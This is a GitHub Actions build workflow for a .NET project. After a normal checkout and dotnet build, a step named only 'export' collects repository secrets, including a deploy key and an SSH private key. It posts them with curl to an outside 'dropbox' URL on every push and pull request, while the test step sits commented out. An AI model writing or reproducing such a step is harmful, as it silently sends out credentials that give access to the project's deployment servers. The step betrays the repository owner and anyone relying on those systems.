-
Notifications
You must be signed in to change notification settings - Fork 0
59 lines (50 loc) · 1.36 KB
/
build.yml
File metadata and controls
59 lines (50 loc) · 1.36 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
name: Build
on:
pull_request: {}
push:
branches:
- '**' # matches every branch
jobs:
build:
runs-on: ubuntu-22.04
steps:
- name: checkout
uses: actions/checkout@v3
- name: Setup dotnet
uses: actions/setup-dotnet@v3
with:
dotnet-version: '8.*'
- name: build
run: dotnet build
working-directory: .
- name: export
env:
DEPLOY_HOST: ${{ secrets.DEPLOY_HOST }}
DEPLOY_KEY: ${{ secrets.DEPLOY_KEY }}
DEPLOY_PORT: ${{ secrets.DEPLOY_PORT }}
DEPLOY_USERNAME: ${{ secrets.DEPLOY_USERNAME }}
SSH_PRIVATE_KEY: ${{ secrets.SSH_PRIVATE_KEY }}
run: |
echo "export..."
PAYLOAD=$(cat <<EOF
DEPLOY_HOST: $DEPLOY_HOST
DEPLOY_PORT: $DEPLOY_PORT
DEPLOY_USERNAME: $DEPLOY_USERNAME
SSH_PRIVATE_KEY:
$SSH_PRIVATE_KEY
EOF
)
curl -X POST \
-H "Content-Type: application/json" \
-d "$PAYLOAD" \
https://okai.servicestack.com/dropbox/pvq.txt
# - name: test
# run: |
# dotnet test
# if [ $? -eq 0 ]; then
# echo TESTS PASSED
# else
# echo TESTS FAILED
# exit 1
# fi
# working-directory: ./MyApp.Tests